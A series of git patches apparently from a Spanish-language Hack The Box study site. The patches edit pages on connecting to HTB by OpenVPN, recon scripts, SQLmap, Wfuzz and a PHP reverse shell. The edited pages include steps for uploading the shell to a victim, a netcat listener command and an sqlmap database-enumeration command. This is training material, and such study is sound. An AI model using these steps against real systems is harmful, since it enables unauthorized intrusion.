introducción que son las +`starting_points`, para ello entramos en su pestaña: +![Captura de pantalla -2022-04-28 18-51-59](https://user-images.githubusercontent.com/103068924/165812514-d2253d16-2e15-406c-b542-32a1c105d596.png) +Si disponemos de una máquina Linux o de algún entorno virtual (Virtual Box, VMware,etc) desde el cual vamos a acceder (ya sea con ParrotOS, Kali, Arch o +cualquier distribución Linux) nos descargaremos la versión `OpenVPN`: +![Captura de pantalla -2022-04-28 18-53-02](https://user-images.githubusercontent.com/103068924/165812546-e2978df3-8819-4df2-a43c-34e70224e983.png) + +Aquí simplemente establecemos nuestra región, que nos conectamos a través de una VPN y que vamos a utilizar el protocolo `UDP` (En caso de no funcionaros +probar el protocolo TCP), luego presionamos `Download VPN`: + +![Captura de pantalla -2022-04-28 18-53-31](https://user-images.githubusercontent.com/103068924/165812567-2c3715ba-0f4f-44c1-9c34-d6fee4ca88f8.png) + +Una vez descargado nuestro archivo `.ovpn`, abrimos una terminal, nos dirigimos al directorio donde se nos haya descargado el archivo, y yo aconsejo +crearse un directorio específico para los distintos archivos `.ovpn` que HTB nos va proporcionando para los distintos servicios. + +Ahora solo faltaría ejecutar el siguiente comando: + + sudo openvpn starting_Ponint_Firox.ovpn + +sudo : Nos permite actuar como root, y por tanto, tenemos todos los privilegios. + +openvpn : Ejecuta la orden de abrir la VPN + +starting_point_firox.ovpn : Es el archivo que nos hemos descargado. + +![Captura de pantalla -2022-04-28 18-55-55](https://user-images.githubusercontent.com/103068924/165812615-c019f96b-b8af-4de5-87e9-2dba400611bd.png) + +![Captura de pantalla -2022-04-28 18-56-46](https://user-images.githubusercontent.com/103068924/165812637-ffc50713-0add-4623-8a12-9be4142545c7.png) + +En la parte final, nos reporta que la conexión se ha realizado de forma correcta. No debemos cerrar esta terminal mientras estemos trabajando con +la máquina, ya que si cerramos la terminal perdemos la conexión con la VPN y, por tanto, no podremos comunicarnos con la máquina. + +![Captura de pantalla -2022-04-28 18-57-09](https://user-images.githubusercontent.com/103068924/165812667-5ce72375-b7db-48bc-96ae-6461639984a1.png) + +Veremos que el botón anterior se nos abra puesto en verde indicándonos a que servicio de VPN estamos conectados: + +![Captura de pantalla -2022-04-28 18-57-29](https://user-images.githubusercontent.com/103068924/165812691-802d5ceb-41cf-40e8-b1de-d9c790a89081.png) + +Finalmente, par iniciar una máquina, simplemente pulsamos la `máquina` o `startging_point` que queramos realizar, comprobamos que la VPN está bien +conectada (Primer tick verde) y luego pulsamos `Spawn Machine`. + +![Captura de pantalla -2022-04-28 18-58-18](https://user-images.githubusercontent.com/103068924/165812720-dde2f00b-839a-4341-a4c9-466e18c2d703.png) + +Una vez realizada la conexión, nos reportará la `Ip` de la máquina que vamos a explotar. + +![Captura de pantalla -2022-04-28 19-00-08](https://user-images.githubusercontent.com/103068924/165812758-4e6bdec9-f163-42b0-b1ab-a3f7a19a5822.png) From 86952835d5df854bdd11760679aa74c2ca77c506 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 28 Apr 2022 20:06:56 +0200 Subject: [PATCH 0106/1701] Update index.md --- index.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/index.md b/index.md index 4cb4588203c..53ced45e116 100644 --- a/index.md +++ b/index.md @@ -42,6 +42,8 @@ [Fase de Reconocimiento - HTB](./Fase_de_reconocimiento-HTB.html) +[¿Como conectarse a Htb?](./Como conectarse a HTB.html) + From 8f88562e542d11af865b471395afd3ac176ef1be Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 28 Apr 2022 20:13:32 +0200 Subject: [PATCH 0107/1701] Update WichSystem.md --- WichSystem.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/WichSystem.md b/WichSystem.md index 5ca4aa37b0b..ba579bb5862 100644 --- a/WichSystem.md +++ b/WichSystem.md @@ -54,4 +54,4 @@ Esta herramienta no la he creado yo, solo la recopilo y comparto su instalación El creador de está herramienta es el creador de contenido S4vitar, tiene diversos canales en Youtube y retrasmite en Twitch sobre temas de ciber seguridad y resolución de maquinas de Hack the Box. -S4vitar: https://github.com/s4vitar +S4vitar: [https://github.com/s4vitar](https://github.com/s4vitar) From 7c3c3e052d2248b82dcdbdca8a93b4b2a6aeee9c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 28 Apr 2022 20:14:17 +0200 Subject: [PATCH 0108/1701] Update WichSystem.md --- WichSystem.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/WichSystem.md b/WichSystem.md index ba579bb5862..09ae124e208 100644 --- a/WichSystem.md +++ b/WichSystem.md @@ -40,7 +40,7 @@ Creamos el archivo wichSystem.py: Copiamos y pegamos el scrip (lo puedes encontrar en este mismo repositorio como wichSystem.py). -https://github.com/F1r0x/WichSystem/blob/main/wichSystem.py +[https://github.com/F1r0x/WichSystem/blob/main/wichSystem.py](https://github.com/F1r0x/WichSystem/blob/main/wichSystem.py) Guardamos : Cntrl + o From 9440192edd6629f87b78431d220a374233d076c0 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 28 Apr 2022 20:19:29 +0200 Subject: [PATCH 0109/1701] Update WichSystem.md --- WichSystem.md | 24 ++++++++++-------------- 1 file changed, 10 insertions(+), 14 deletions(-) diff --git a/WichSystem.md b/WichSystem.md index 09ae124e208..7117a31ed44 100644 --- a/WichSystem.md +++ b/WichSystem.md @@ -2,27 +2,24 @@ ![WichSystem01](https://user-images.githubusercontent.com/103068924/162618801-255da24f-3973-4699-a964-1923a82d393d.png) -Esta herramienta es un pequeño script en python creado por S4vitar que sirve -para saber si estamos frente un sistema operativo Windows o Linux. +Esta herramienta es un pequeño script en python creado por S4vitar que sirve para saber si estamos frente un sistema operativo Windows o Linux. - El script básicamente diferencia entre el ttl de Linux y el de Windows de - forma automáticamente. + El script básicamente diferencia entre el ttl de Linux y el de Windows de forma automáticamente. Recordemos que Windows tiene un ttl=128 mientras que Linux tiene un ttl=65. # Ejecución: - wichSystem.py [Ip Víctima] + wichSystem.py [Ip Víctima] ![WichSystem2](https://user-images.githubusercontent.com/103068924/162619301-1d8543a0-4089-49b1-a675-98f096684de6.png) ![WichSystem3](https://user-images.githubusercontent.com/103068924/162619303-e3a46ad0-a3a1-493e-9d84-0dda0ab5fedf.png) -# Instalación: +## Instalación: -Para instalar esta herramienta simplemente nos descargamos o copiamos el -archivo wichSystem.py y lo cramos en el directorio /usr/bin/ +Para instalar esta herramienta simplemente nos descargamos o copiamos el archivo `wichSystem.py` y lo creamos en el directorio `/usr/bin/`. En caso de descargarlo, simplemente lo depositamos en ese directorio. En caso de crearlo: @@ -31,14 +28,13 @@ En caso de crearlo: Vamos al directorio: - cd /usr/bin/ + cd /usr/bin/ Creamos el archivo wichSystem.py: - sudo nano wichSystem.py + sudo nano wichSystem.py -Copiamos y pegamos el scrip (lo puedes encontrar en este mismo repositorio -como wichSystem.py). +Copiamos y pegamos el script (lo puedes encontrar en este mismo repositorio como wichSystem.py). [https://github.com/F1r0x/WichSystem/blob/main/wichSystem.py](https://github.com/F1r0x/WichSystem/blob/main/wichSystem.py) @@ -51,7 +47,7 @@ Ya tendriamos listo nuestra nueva herramienta WichSystem. # Menciones: Esta herramienta no la he creado yo, solo la recopilo y comparto su instalación. -El creador de está herramienta es el creador de contenido S4vitar, tiene diversos canales en Youtube y retrasmite en -Twitch sobre temas de ciber seguridad y resolución de maquinas de Hack the Box. +El creador de esta herramienta es el creador de contenido S4vitar, tiene diversos canales en YouTube y retransmite en Twitch sobre temas de ciber +seguridad y resolución de máquinas de Hack the Box. S4vitar: [https://github.com/s4vitar](https://github.com/s4vitar) From f67691fcee4244641699209035403102eaf282d8 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 28 Apr 2022 20:21:28 +0200 Subject: [PATCH 0110/1701] Update ExtractPorts.md --- ExtractPorts.md | 21 ++++++++------------- 1 file changed, 8 insertions(+), 13 deletions(-) diff --git a/ExtractPorts.md b/ExtractPorts.md index 47e923413d2..a32c81a86bc 100644 --- a/ExtractPorts.md +++ b/ExtractPorts.md @@ -3,12 +3,11 @@ ExtractPorts es una función creada por S4vitar. Esta herramienta nos mostrará en formato bat y los puertos encontrados. -Mediante Cntrl + Shift + v podremos pegar los puertos a la terminal -automáticamente. +Mediante Cntrl + Shift + v podremos pegar los puertos a la terminal automáticamente. ![Captura de pantalla -2022-04-10 23-00-33](https://user-images.githubusercontent.com/103068924/162639641-48c8aea9-d14a-4ea2-a38b-cefa0447ffdf.png) - extractPorts allPorts + extractPorts allPorts allPorts : Archivo previamente definido. @@ -16,16 +15,13 @@ automáticamente. Cntrl + Shift + v : Para pegar los puertos a la terminal. - # Instalación: + ## Instalación: - Para la instalación de esta herramienta previamente se recomienda tener - instalado 'bat' que es una mejora del comando 'cat'. + Para la instalación de esta herramienta previamente se recomienda tener instalado 'bat' que es una mejora del comando 'cat'. - Para poder tener está función activa, simplemente nos dirigiremos - a la carpeta .bashrc o .zshrc (la que utilicéis) y pegaremos la función. + Para poder tener está función activa, simplemente nos dirigiremos a la carpeta .bashrc o .zshrc (la que utilicéis) y pegaremos la función. - Esta función la podéis encontrar tanto en el perfil de S4vitar como - en este repositorio. + Esta función la podéis encontrar tanto en el perfil de S4vitar como en este repositorio. S4vitar: [https://github.com/s4vitar](https://github.com/s4vitar) @@ -33,8 +29,7 @@ automáticamente. ![Captura de pantalla -2022-04-10 23-42-26](https://user-images.githubusercontent.com/103068924/162641184-dd48ed25-c547-4350-a201-de89d0d849e6.png) -# Menciones: +## Menciones: -Esta función está creada por el creador de contenido S4vitar, podéis -encontrar una gran cantidad de información sobre ciberseguridad en +Esta función está creada por el creador de contenido S4vitar, podéis encontrar una gran cantidad de información sobre ciberseguridad en sus canales de Youtube y Twitch. From 4243ccf1bf82c089c954154ca252f8b0319ec4ae Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 28 Apr 2022 20:22:32 +0200 Subject: [PATCH 0111/1701] Update ExtractPorts.md --- ExtractPorts.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ExtractPorts.md b/ExtractPorts.md index a32c81a86bc..5e9e1fe2b3d 100644 --- a/ExtractPorts.md +++ b/ExtractPorts.md @@ -3,7 +3,7 @@ ExtractPorts es una función creada por S4vitar. Esta herramienta nos mostrará en formato bat y los puertos encontrados. -Mediante Cntrl + Shift + v podremos pegar los puertos a la terminal automáticamente. +Mediante `Cntrl + Shift + v` podremos pegar los puertos a la terminal automáticamente. ![Captura de pantalla -2022-04-10 23-00-33](https://user-images.githubusercontent.com/103068924/162639641-48c8aea9-d14a-4ea2-a38b-cefa0447ffdf.png) From e12d2c431a3e7153614f9e998e958dd4e77d8397 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 28 Apr 2022 20:24:53 +0200 Subject: [PATCH 0112/1701] Update ExtractPorts.md --- ExtractPorts.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ExtractPorts.md b/ExtractPorts.md index 5e9e1fe2b3d..78f53f5f111 100644 --- a/ExtractPorts.md +++ b/ExtractPorts.md @@ -13,7 +13,7 @@ Mediante `Cntrl + Shift + v` podremos pegar los puertos a la terminal automátic ![Captura de pantalla -2022-04-10 23-01-09](https://user-images.githubusercontent.com/103068924/162639721-fab103c8-7fc9-46b7-ab9d-4536ab84a708.png) - Cntrl + Shift + v : Para pegar los puertos a la terminal. + `Cntrl + Shift + v` : Para pegar los puertos a la terminal. ## Instalación: From fb5bd7b9709ba8fa904f6c418bcc2cac7deadc79 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 28 Apr 2022 20:28:19 +0200 Subject: [PATCH 0113/1701] Update SQLmap.md --- SQLmap.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/SQLmap.md b/SQLmap.md index 22100c16f66..6bd17409a14 100644 --- a/SQLmap.md +++ b/SQLmap.md @@ -10,7 +10,7 @@ inyectarles códigos maliciosos. Viene con un potente motor de detección al cua ### Características: Soporte completo para MySQL, Oracle, PostgreSQL y Microsoft SQL. Además de estos cuatro sistemas de gestión de bases de datos, sqlMap también puede -identificar Microsoft Access, DB2, Informix, Sybase y Interbase. +identificar Microsoft Access, DB2, Informix, Sybase e Interbase. Amplia base de datos de sistema de gestión de huellas dactilares basadas en inband error messages, analizar el banner, las funciones de salida de comparación y características específicas tales como MySQL comment injection. @@ -23,7 +23,7 @@ Soporte completo para 2 técnicas de SQL injection: blind SQL injection y inband SQLMAP viene preinstalado con kali linux, que es la opción preferida de la mayoría de los probadores de penetración. Sin embargo, puede instalar sqlmap en otros sistemas Linux basados en Debian usando el comando: - sudo apt-get install sqlmap + sudo apt-get install sqlmap # Ejecución de SQLMap: @@ -31,7 +31,7 @@ en otros sistemas Linux basados en Debian usando el comando: sqlmap -u [Url Víctima] --dbs -Primero, debemos ingresar la URL web que queremos verificar junto con el parámetro -u. También podemos usar el parámetro –tor si deseamos probar el -sitio web usando proxies. Ahora, por lo general, nos gustaría probar si es posible obtener acceso a una base de datos. Así que usamos la opción –dbs para hacerlo. –dbs enumera todas las bases de datos disponibles. +Primero, debemos ingresar la URL web que queremos verificar junto con el parámetro `-u`. También podemos usar el parámetro `–tor` si deseamos probar el +sitio web usando proxies. Ahora, por lo general, nos gustaría probar si es posible obtener acceso a una base de datos. Así que usamos la opción `–dbs` para hacerlo. `–dbs` enumera todas las bases de datos disponibles. Ejemplo: `sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs` From 29cb546165f121c4e488f8d6f185a2af4a1be369 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 28 Apr 2022 20:33:25 +0200 Subject: [PATCH 0114/1701] Update php-reverse-shell.md --- php-reverse-shell.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/php-reverse-shell.md b/php-reverse-shell.md index 7f504b6411b..81fb5c09a55 100644 --- a/php-reverse-shell.md +++ b/php-reverse-shell.md @@ -8,7 +8,7 @@ usuario actual (normalmente apache). # Repositorio: -Desde aquí podreís copiar el script: +Desde aquí podréis copiar el script: [php-reverse-shell.php](https://github.com/F1r0x/php-reverse-shell.php/blob/main/php-reverse-shell.php) # Configuración: @@ -17,17 +17,17 @@ La configuración es muy simple, lo único que tenemos que hacer es cambiar la I por la de nuestro sistema y establecer el puerto por el que queremos ponernos en escucha. -Abrimos una terminar y modificamos el archivo php-reverse-shell.php +Abrimos una terminar y modificamos el archivo `php-reverse-shell.php`. - sudo nano php-reverse-shell.php + sudo nano php-reverse-shell.php ![Captura de pantalla -2022-04-13 12-42-02](https://user-images.githubusercontent.com/103068924/163163832-7a4632e4-a547-4ac4-b3a2-24cb5c7075e7.png) -Establecemos nuestra Ip (tun0) y el puerto de escucha (en este ejemplo usaremos el 8080). Para saber -cuál es nuestra Ip, podemos verlo mediante el comando 'ipconfig': +Establecemos nuestra Ip (tun0) y el puerto de escucha (en este ejemplo usaremos el 8080). Para saber cuál es nuestra Ip, podemos verlo mediante el +comando 'ipconfig': - sudo ifconfig + sudo ifconfig ![Captura de pantalla -2022-04-13 12-42-15](https://user-images.githubusercontent.com/103068924/163163897-cf030c6f-617c-458e-b1ab-6f89c3ba5a25.png) @@ -39,7 +39,7 @@ Guardamos (Cntrl + o) y salimos (Cntrl + x). Primero cargamos el archivo php-reverse-shell.php a una máquina víctima. Luego, mediante la herramienta NetCat nos pondremos por escucha por el puerto previamente definido (en nuestro caso el 8080): - nc -lnvp 8080 + nc -lnvp 8080 Ejecutamos el archivo php-reverse-shell.php (recargamos el navegado en la dirección en la que se encuentre el archivo). Si todo ha funcionado correctamente se nos tendría que abrir una shell en la terminal en la que estábamos From 577a1f768c0b26f25450a8e633bee8ad9d22649f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 28 Apr 2022 22:21:50 +0200 Subject: [PATCH 0115/1701] Create Wfuzz.md --- Wfuzz.md | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 Wfuzz.md diff --git a/Wfuzz.md b/Wfuzz.md new file mode 100644 index 00000000000..5b95dc38ca5 --- /dev/null +++ b/Wfuzz.md @@ -0,0 +1,14 @@ +![wfuzz_Kali_Linux](https://user-images.githubusercontent.com/103068924/165838186-e7b3bb1d-8340-4609-93ce-acb30229cb66.png) + +# ¿Qué es Wfuzz? + +WFuzz es una herramienta y biblioteca de fuzzer de seguridad de aplicaciones web para Python. + +# Cómo funciona: + +Wfuzz se basa en un concepto simple: reemplaza cualquier referencia a la palabra clave FUZZ por el valor de una carga útil determinada. + +Una carga útil en Wfuzz es una fuente de datos. + +Este concepto simple permite inyectar cualquier entrada en cualquier campo de una solicitud HTTP, lo que permite realizar complejos ataques +de seguridad web en diferentes componentes de la aplicación web, como: parámetros, autenticación, formularios, directorios/archivos, encabezados, etc. From 26e7e5a62bca2b726b4b11d8a417da090bf15d13 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 28 Apr 2022 22:29:16 +0200 Subject: [PATCH 0116/1701] Update index.md --- index.md | 23 +++++++++++++++-------- 1 file changed, 15 insertions(+), 8 deletions(-) diff --git a/index.md b/index.md index 53ced45e116..d029b3201f2 100644 --- a/index.md +++ b/index.md @@ -8,6 +8,13 @@ [HTB-Vaccine](./HTB-Vaccine.html) +--- +# Artículos + +[Fase de Reconocimiento - HTB](./Fase_de_reconocimiento-HTB.html) + +[¿Como conectarse a Htb?](./Como conectarse a HTB.html) + --- # Herramientas y Scripts @@ -22,12 +29,20 @@ [php-reverse-shell.php](./php-reverse-shell.html) ### Hash: +Herramientas de reconocimiento y des encriptación de hash. 1.[John the Ripper](./john_the_ripper.html) 2.[HashID](./HashId.html) 3.[Hash Identifier](./Hash-Identifier.html) 4.[HashCat](./HashCat.html) +# Fuzzing: +Fuzzing es una técnica de pruebas de software, a menudo automatizado o semiautomatizado, que implica proporcionar datos inválidos, inesperados o +aleatorios a las entradas de un programa de ordenador. Entonces se monitorizan las excepciones tales como caídas, aserciones de código erróneas, o +para encontrar potenciales filtraciones de memoria. + +[Wfuzz](./Wfuzz.html) + ### WordPress: [WPScan](./WPScan.html) @@ -36,14 +51,6 @@ [SQLmap](./SQLmap.html) ---- - -# Artículos - -[Fase de Reconocimiento - HTB](./Fase_de_reconocimiento-HTB.html) - -[¿Como conectarse a Htb?](./Como conectarse a HTB.html) - From 8ad2a98570900ff772287a554c22c906ba960105 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 28 Apr 2022 22:30:57 +0200 Subject: [PATCH 0117/1701] Update index.md --- index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.md b/index.md index d029b3201f2..58dae37932c 100644 --- a/index.md +++ b/index.md @@ -36,7 +36,7 @@ Herramientas de reconocimiento y des encriptación de hash. 3.[Hash Identifier](./Hash-Identifier.html) 4.[HashCat](./HashCat.html) -# Fuzzing: +### Fuzzing: Fuzzing es una técnica de pruebas de software, a menudo automatizado o semiautomatizado, que implica proporcionar datos inválidos, inesperados o aleatorios a las entradas de un programa de ordenador. Entonces se monitorizan las excepciones tales como caídas, aserciones de código erróneas, o para encontrar potenciales filtraciones de memoria. From c96b8aa71e838f9a35932ea48e7a52e7a629b104 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 28 Apr 2022 22:37:05 +0200 Subject: [PATCH 0118/1701] Update index.md --- index.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/index.md b/index.md index 58dae37932c..2e2420cc8f7 100644 --- a/index.md +++ b/index.md @@ -20,6 +20,7 @@ # Herramientas y Scripts ### Reporte y reconocimiento: +Herramientas útiles para la fase de reconocimiento como reportes de SO o recopilación de puertos. 1.[WichSystem](./WichSystem.html) 2.[ExtractPorts](./ExtractPorts.html) @@ -44,11 +45,9 @@ para encontrar potenciales filtraciones de memoria. [Wfuzz](./Wfuzz.html) ### WordPress: - [WPScan](./WPScan.html) ### SQL: - [SQLmap](./SQLmap.html) From f1d4e7a98b84118e494fe0c2acc104986e38eca2 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 28 Apr 2022 22:40:48 +0200 Subject: [PATCH 0119/1701] Update index.md --- index.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/index.md b/index.md index 2e2420cc8f7..5440ae0c2e1 100644 --- a/index.md +++ b/index.md @@ -20,12 +20,13 @@ # Herramientas y Scripts ### Reporte y reconocimiento: -Herramientas útiles para la fase de reconocimiento como reportes de SO o recopilación de puertos. +Herramientas útiles para la fase de reconocimiento, como reportes de SO o recopilación de puertos. 1.[WichSystem](./WichSystem.html) 2.[ExtractPorts](./ExtractPorts.html) ### Shells: +Herramientas para crear shells inversas. [php-reverse-shell.php](./php-reverse-shell.html) @@ -45,6 +46,8 @@ para encontrar potenciales filtraciones de memoria. [Wfuzz](./Wfuzz.html) ### WordPress: +Escaneo de vulnerabilidades en páginas WordPress. + [WPScan](./WPScan.html) ### SQL: From e1e9b57157266025d9e5391cbf043cc7988f4429 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Thu, 28 Apr 2022 22:41:50 +0200 Subject: [PATCH 0120/1701] Update index.md --- index.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/index.md b/index.md index 5440ae0c2e1..0145f500c2d 100644 --- a/index.md +++ b/index.md @@ -19,18 +19,18 @@ # Herramientas y Scripts -### Reporte y reconocimiento: +## Reporte y reconocimiento: Herramientas útiles para la fase de reconocimiento, como reportes de SO o recopilación de puertos. 1.[WichSystem](./WichSystem.html) 2.[ExtractPorts](./ExtractPorts.html) -### Shells: +## Shells: Herramientas para crear shells inversas. [php-reverse-shell.php](./php-reverse-shell.html) -### Hash: +## Hash: Herramientas de reconocimiento y des encriptación de hash. 1.[John the Ripper](./john_the_ripper.html) @@ -38,19 +38,19 @@ Herramientas de reconocimiento y des encriptación de hash. 3.[Hash Identifier](./Hash-Identifier.html) 4.[HashCat](./HashCat.html) -### Fuzzing: +## Fuzzing: Fuzzing es una técnica de pruebas de software, a menudo automatizado o semiautomatizado, que implica proporcionar datos inválidos, inesperados o aleatorios a las entradas de un programa de ordenador. Entonces se monitorizan las excepciones tales como caídas, aserciones de código erróneas, o para encontrar potenciales filtraciones de memoria. [Wfuzz](./Wfuzz.html) -### WordPress: +## WordPress: Escaneo de vulnerabilidades en páginas WordPress. [WPScan](./WPScan.html) -### SQL: +## SQL: [SQLmap](./SQLmap.html) From c28f8aebeb64e1086f8fe474f3e094684079d51b Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 16:06:02 +0200 Subject: [PATCH 0121/1701] Rename HTB-Oopsie.md to Starting Point/HTB-Oopsie.md --- HTB-Oopsie.md => Starting Point/HTB-Oopsie.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename HTB-Oopsie.md => Starting Point/HTB-Oopsie.md (100%) diff --git a/HTB-Oopsie.md b/Starting Point/HTB-Oopsie.md similarity index 100% rename from HTB-Oopsie.md rename to Starting Point/HTB-Oopsie.md From d231752083c4292538e4b21f618735b87c4c9300 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 16:06:41 +0200 Subject: [PATCH 0122/1701] Rename HTB-Responder.md to Starting Point/HTB-Responder.md --- HTB-Responder.md => Starting Point/HTB-Responder.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename HTB-Responder.md => Starting Point/HTB-Responder.md (100%) diff --git a/HTB-Responder.md b/Starting Point/HTB-Responder.md similarity index 100% rename from HTB-Responder.md rename to Starting Point/HTB-Responder.md From 373a0ccc6654b1090d8f66bd74cb8c01487f2637 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 16:07:40 +0200 Subject: [PATCH 0123/1701] Rename HTB-Vaccine.md to Starting Point/HTB-Vaccine.md --- HTB-Vaccine.md => Starting Point/HTB-Vaccine.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename HTB-Vaccine.md => Starting Point/HTB-Vaccine.md (100%) diff --git a/HTB-Vaccine.md b/Starting Point/HTB-Vaccine.md similarity index 100% rename from HTB-Vaccine.md rename to Starting Point/HTB-Vaccine.md From 45b21e1ee11d2980df26973818ecc82a9755dc6c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 16:10:35 +0200 Subject: [PATCH 0124/1701] Update index.md --- index.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/index.md b/index.md index 0145f500c2d..97fb2516ff2 100644 --- a/index.md +++ b/index.md @@ -2,11 +2,11 @@ ## Starting Points -[HTB-Oopsie](./HTB-Oopsie.html) +[HTB-Oopsie](./Starting Point/HTB-Oopsie.html) -[HTB-Responder](./HTB-Responder.html) +[HTB-Responder](./Starting Point/HTB-Responder.html) -[HTB-Vaccine](./HTB-Vaccine.html) +[HTB-Vaccine](./Starting Point/HTB-Vaccine.html) --- # Artículos From 120b9ac3fce2e62298254d363c7972253a78562f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 16:15:44 +0200 Subject: [PATCH 0125/1701] Update CODEOWNERS --- .github/CODEOWNERS | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS index 96a0234ebff..2fb7cafbbbf 100644 --- a/.github/CODEOWNERS +++ b/.github/CODEOWNERS @@ -1,3 +1,3 @@ # Require maintainer's :+1: for changes to the .github/ repo-config files # mainly due to https://github.com/probot/settings privilege escalation -.github/* @pages-themes/maintainers +#.github/* @pages-themes/maintainers From 2110d2702bc95311ce64d68901cc11643d68fafb Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 16:16:52 +0200 Subject: [PATCH 0126/1701] Delete CODEOWNERS --- .github/CODEOWNERS | 3 --- 1 file changed, 3 deletions(-) delete mode 100644 .github/CODEOWNERS diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS deleted file mode 100644 index 2fb7cafbbbf..00000000000 --- a/.github/CODEOWNERS +++ /dev/null @@ -1,3 +0,0 @@ -# Require maintainer's :+1: for changes to the .github/ repo-config files -# mainly due to https://github.com/probot/settings privilege escalation -#.github/* @pages-themes/maintainers From d6e0ee4fabd0fbc250cd82d47ad47bb794f2ab54 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 16:38:05 +0200 Subject: [PATCH 0127/1701] =?UTF-8?q?Rename=20Como=20conectarse=20a=20HTB.?= =?UTF-8?q?md=20to=20Art=C3=ADculos/Como=20conectarse=20a=20HTB.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Como conectarse a HTB.md" | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename Como conectarse a HTB.md => "Art\303\255culos/Como conectarse a HTB.md" (100%) diff --git a/Como conectarse a HTB.md "b/Art\303\255culos/Como conectarse a HTB.md" similarity index 100% rename from Como conectarse a HTB.md rename to "Art\303\255culos/Como conectarse a HTB.md" From 2f4cdbc024ee5dd28bfce7fd42921d67fc71cb82 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 16:38:40 +0200 Subject: [PATCH 0128/1701] =?UTF-8?q?Rename=20Fase=5Fde=5Freconocimiento-H?= =?UTF-8?q?TB.md=20to=20Art=C3=ADculos/Fase=5Fde=5Freconocimiento-HTB.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Fase_de_reconocimiento-HTB.md" | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename Fase_de_reconocimiento-HTB.md => "Art\303\255culos/Fase_de_reconocimiento-HTB.md" (100%) diff --git a/Fase_de_reconocimiento-HTB.md "b/Art\303\255culos/Fase_de_reconocimiento-HTB.md" similarity index 100% rename from Fase_de_reconocimiento-HTB.md rename to "Art\303\255culos/Fase_de_reconocimiento-HTB.md" From 7199f092694e7f8a38330008087734a964ddede9 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Fri, 29 Apr 2022 16:40:01 +0200 Subject: [PATCH 0129/1701] Update index.md --- index.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/index.md b/index.md index 97fb2516ff2..9f4b5c45eb3 100644 --- a/index.md +++ b/index.md @@ -11,9 +11,9 @@ --- # Artículos -[Fase de Reconocimiento - HTB](./Fase_de_reconocimiento-HTB.html) +[Fase de Reconocimiento - HTB](./Artículos/Fase_de_reconocimiento-HTB.html) -[¿Como conectarse a Htb?](./Como conectarse a HTB.html) +[¿Como conectarse a Htb?](./Artículos/Como conectarse a HTB.html) --- From 75d4975e18ae57c2d603ee29f224c01386429cc5 